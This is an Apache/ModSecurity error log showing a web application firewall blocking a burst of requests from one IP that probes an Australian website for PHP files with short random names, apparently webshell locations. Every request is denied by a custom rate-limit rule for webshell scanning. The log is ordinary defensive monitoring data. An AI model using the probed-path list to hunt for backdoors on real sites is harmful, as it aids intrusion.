[Sat Dec 13 00:03:36.515333 2025] [:error] [pid 27950:tid 27968] [client 4.193.186.94:35854] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ula.php"] [unique_id "aTw82IVLRvkrdsSc1F3M4QAAAVA"]
[Sat Dec 13 00:03:36.901188 2025] [:error] [pid 55760:tid 55766] [client 4.193.186.94:35955] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x0.php"] [unique_id "aTw82FObDQlftFDyGaxGAQAAAYQ"]
[Sat Dec 13 00:03:37.151953 2025] [:error] [pid 55760:tid 55781] [client 4.193.186.94:21023] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x0.php"] [unique_id "aTw82VObDQlftFDyGaxGAgAAAZM"]
[Sat Dec 13 00:03:37.651318 2025] [:error] [pid 26607:tid 26619] [client 4.193.186.94:35904] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x0.php"] [unique_id "aTw82cb_b0tOEWTL2KnFqgAAAMo"]
[Sat Dec 13 00:03:37.879275 2025] [:error] [pid 27950:tid 27974] [client 4.193.186.94:35954] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x0.php"] [unique_id "aTw82YVLRvkrdsSc1F3M5AAAAVY"]
[Sat Dec 13 00:03:38.121401 2025] [:error] [pid 55760:tid 55768] [client 4.193.186.94:35900] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rss.php"] [unique_id "aTw82lObDQlftFDyGaxGBQAAAYY"]
[Sat Dec 13 00:03:38.885201 2025] [:error] [pid 26521:tid 26598] [client 4.193.186.94:21016] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rss.php"] [unique_id "aTw82pdhcAPU617AKTDDpwAAAJM"]
[Sat Dec 13 00:03:39.129190 2025] [:error] [pid 26521:tid 26596] [client 4.193.186.94:35860] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rss.php"] [unique_id "aTw825dhcAPU617AKTDDqAAAAJE"]
[Sat Dec 13 00:03:39.341495 2025] [:error] [pid 27950:tid 27969] [client 4.193.186.94:35871] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rss.php"] [unique_id "aTw824VLRvkrdsSc1F3M6gAAAVE"]
[Sat Dec 13 00:03:39.620128 2025] [:error] [pid 27950:tid 27966] [client 4.193.186.94:35917] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pp.php"] [unique_id "aTw824VLRvkrdsSc1F3M6wAAAU4"]
[Sat Dec 13 00:03:39.850256 2025] [:error] [pid 55760:tid 55769] [client 4.193.186.94:21329] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pp.php"] [unique_id "aTw821ObDQlftFDyGaxGBwAAAYc"]
[Sat Dec 13 00:03:40.082622 2025] [:error] [pid 26521:tid 26580] [client 4.193.186.94:35963] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pp.php"] [unique_id "aTw83JdhcAPU617AKTDDqgAAAIE"]
[Sat Dec 13 00:03:40.349738 2025] [:error] [pid 26521:tid 26602] [client 4.193.186.94:35840] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pp.php"] [unique_id "aTw83JdhcAPU617AKTDDqwAAAJc"]
[Sat Dec 13 00:03:40.653375 2025] [:error] [pid 26521:tid 26603] [client 4.193.186.94:21371] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/skj.php"] [unique_id "aTw83JdhcAPU617AKTDDrAAAAJg"]
[Sat Dec 13 00:03:40.872982 2025] [:error] [pid 55760:tid 55780] [client 4.193.186.94:35845] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/skj.php"] [unique_id "aTw83FObDQlftFDyGaxGCQAAAZI"]
[Sat Dec 13 00:03:41.139443 2025] [:error] [pid 27950:tid 27952] [client 4.193.186.94:35964] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/skj.php"] [unique_id "aTw83YVLRvkrdsSc1F3M7gAAAUA"]
[Sat Dec 13 00:03:41.409291 2025] [:error] [pid 26521:tid 26586] [client 4.193.186.94:35886] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/skj.php"] [unique_id "aTw83ZdhcAPU617AKTDDrQAAAIc"]
[Sat Dec 13 00:03:41.644692 2025] [:error] [pid 26521:tid 26591] [client 4.193.186.94:35850] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dox.php"] [unique_id "aTw83ZdhcAPU617AKTDDrwAAAIw"]
[Sat Dec 13 00:03:41.904290 2025] [:error] [pid 60649:tid 60669] [client 4.193.186.94:35918] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dox.php"] [unique_id "aTw83VOcUGKU3sgfHP8iIQAAARE"]
[Sat Dec 13 00:03:42.181050 2025] [:error] [pid 26521:tid 26595] [client 4.193.186.94:35948] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dox.php"] [unique_id "aTw83pdhcAPU617AKTDDsgAAAJA"]
[Sat Dec 13 00:03:42.391513 2025] [:error] [pid 26521:tid 26594] [client 4.193.186.94:21364] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dox.php"] [unique_id "aTw83pdhcAPU617AKTDDswAAAI8"]
[Sat Dec 13 00:03:42.681028 2025] [:error] [pid 55760:tid 55779] [client 4.193.186.94:35846] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/haf.php"] [unique_id "aTw83lObDQlftFDyGaxGDAAAAZE"]
[Sat Dec 13 00:03:43.231038 2025] [:error] [pid 26521:tid 26592] [client 4.193.186.94:35877] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/haf.php"] [unique_id "aTw835dhcAPU617AKTDDtgAAAI0"]
[Sat Dec 13 00:03:43.618592 2025] [:error] [pid 55760:tid 55775] [client 4.193.186.94:21331] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/haf.php"] [unique_id "aTw831ObDQlftFDyGaxGDgAAAY0"]
[Sat Dec 13 00:03:43.911862 2025] [:error] [pid 60649:tid 60674] [client 4.193.186.94:35953] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/haf.php"] [unique_id "aTw831OcUGKU3sgfHP8iIgAAARY"]
[Sat Dec 13 00:03:44.174104 2025] [:error] [pid 60649:tid 60673] [client 4.193.186.94:35906] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gmo.php"] [unique_id "aTw84FOcUGKU3sgfHP8iIwAAARU"]
[Sat Dec 13 00:03:44.601403 2025] [:error] [pid 60649:tid 60655] [client 4.193.186.94:35857] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gmo.php"] [unique_id "aTw84FOcUGKU3sgfHP8iJAAAAQM"]
[Sat Dec 13 00:03:44.905214 2025] [:error] [pid 60649:tid 60656] [client 4.193.186.94:20994] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gmo.php"] [unique_id "aTw84FOcUGKU3sgfHP8iJQAAAQQ"]
[Sat Dec 13 00:03:45.090833 2025] [:error] [pid 60649:tid 60657] [client 4.193.186.94:35863] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gmo.php"] [unique_id "aTw84VOcUGKU3sgfHP8iJgAAAQU"]
[Sat Dec 13 00:03:45.317128 2025] [:error] [pid 60649:tid 60667] [client 4.193.186.94:21374] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/error.php"] [unique_id "aTw84VOcUGKU3sgfHP8iKAAAAQ8"]
[Sat Dec 13 00:03:45.737094 2025] [:error] [pid 26521:tid 26603] [client 4.193.186.94:35872] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/error.php"] [unique_id "aTw84ZdhcAPU617AKTDDwQAAAJg"]
[Sat Dec 13 00:03:45.964792 2025] [:error] [pid 60649:tid 60665] [client 4.193.186.94:35895] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/error.php"] [unique_id "aTw84VOcUGKU3sgfHP8iKQAAAQ0"]
[Sat Dec 13 00:03:46.252206 2025] [:error] [pid 60649:tid 60671] [client 4.193.186.94:35952] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/error.php"] [unique_id "aTw84lOcUGKU3sgfHP8iKgAAARM"]
[Sat Dec 13 00:03:46.559919 2025] [:error] [pid 55760:tid 55766] [client 4.193.186.94:20945] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/eru.php"] [unique_id "aTw84lObDQlftFDyGaxGEgAAAYQ"]
[Sat Dec 13 00:03:46.788797 2025] [:error] [pid 55760:tid 55781] [client 4.193.186.94:20995] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/eru.php"] [unique_id "aTw84lObDQlftFDyGaxGEwAAAZM"]
[Sat Dec 13 00:03:47.015619 2025] [:error] [pid 60649:tid 60670] [client 4.193.186.94:35950] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/eru.php"] [unique_id "aTw841OcUGKU3sgfHP8iLQAAARI"]
[Sat Dec 13 00:03:47.226063 2025] [:error] [pid 60649:tid 60658] [client 4.193.186.94:35961] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/eru.php"] [unique_id "aTw841OcUGKU3sgfHP8iLgAAAQY"]
[Sat Dec 13 00:03:47.439765 2025] [:error] [pid 26521:tid 26590] [client 4.193.186.94:21359] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aTw845dhcAPU617AKTDDwwAAAIs"]
[Sat Dec 13 00:03:47.663834 2025] [:error] [pid 60649:tid 60654] [client 4.193.186.94:35853] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aTw841OcUGKU3sgfHP8iLwAAAQI"]
[Sat Dec 13 00:03:47.931625 2025] [:error] [pid 26521:tid 26592] [client 4.193.186.94:21334] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aTw845dhcAPU617AKTDDxAAAAI0"]
[Sat Dec 13 00:03:48.563149 2025] [:error] [pid 60649:tid 60663] [client 4.193.186.94:21315] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aTw85FOcUGKU3sgfHP8iMAAAAQs"]
[Sat Dec 13 00:03:48.913417 2025] [:error] [pid 55760:tid 55771] [client 4.193.186.94:35881] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wsx.php"] [unique_id "aTw85FObDQlftFDyGaxGFwAAAYk"]
[Sat Dec 13 00:03:49.179227 2025] [:error] [pid 26519:tid 26542] [client 4.193.186.94:35878] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wsx.php"] [unique_id "aTw85c8TRgSGOeWqEhcU-wAAABM"]
[Sat Dec 13 00:03:49.389430 2025] [:error] [pid 55760:tid 55769] [client 4.193.186.94:35844] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wsx.php"] [unique_id "aTw85VObDQlftFDyGaxGGAAAAYc"]
[Sat Dec 13 00:03:49.683560 2025] [:error] [pid 55760:tid 55780] [client 4.193.186.94:21054] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wsx.php"] [unique_id "aTw85VObDQlftFDyGaxGGgAAAZI"]
[Sat Dec 13 00:03:49.884600 2025] [:error] [pid 55760:tid 55776] [client 4.193.186.94:35931] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/suy.php"] [unique_id "aTw85VObDQlftFDyGaxGGwAAAY4"]
[Sat Dec 13 00:03:50.333538 2025] [:error] [pid 26519:tid 26528] [client 4.193.186.94:20942] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/suy.php"] [unique_id "aTw85s8TRgSGOeWqEhcU_AAAAAU"]
[Sat Dec 13 00:03:50.710948 2025] [:error] [pid 55760:tid 55779] [client 4.193.186.94:21335] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/suy.php"] [unique_id "aTw85lObDQlftFDyGaxGHgAAAZE"]
[Sat Dec 13 00:03:51.186635 2025] [:error] [pid 55760:tid 55775] [client 4.193.186.94:35940] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/suy.php"] [unique_id "aTw851ObDQlftFDyGaxGIAAAAY0"]
[Sat Dec 13 00:03:51.515763 2025] [:error] [pid 26520:tid 26568] [client 4.193.186.94:21372] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dop.php"] [unique_id "aTw850G_frlY5vNXu_AgAQAAAFA"]
[Sat Dec 13 00:03:51.737925 2025] [:error] [pid 26520:tid 26555] [client 4.193.186.94:21323] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dop.php"] [unique_id "aTw850G_frlY5vNXu_AgAgAAAEM"]
[Sat Dec 13 00:03:52.038107 2025] [:error] [pid 27950:tid 27957] [client 4.193.186.94:21332] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dop.php"] [unique_id "aTw86IVLRvkrdsSc1F3M8AAAAUU"]
[Sat Dec 13 00:03:52.223508 2025] [:error] [pid 26520:tid 26566] [client 4.193.186.94:35889] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dop.php"] [unique_id "aTw86EG_frlY5vNXu_AgBAAAAE4"]
[Sat Dec 13 00:03:52.510813 2025] [:error] [pid 26520:tid 26553] [client 4.193.186.94:21354] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zde.php"] [unique_id "aTw86EG_frlY5vNXu_AgBgAAAEE"]
[Sat Dec 13 00:03:52.852156 2025] [:error] [pid 55760:tid 55774] [client 4.193.186.94:21053] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zde.php"] [unique_id "aTw86FObDQlftFDyGaxGIQAAAYw"]
[Sat Dec 13 00:03:53.095156 2025] [:error] [pid 26520:tid 26562] [client 4.193.186.94:35921] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zde.php"] [unique_id "aTw86UG_frlY5vNXu_AgCAAAAEo"]
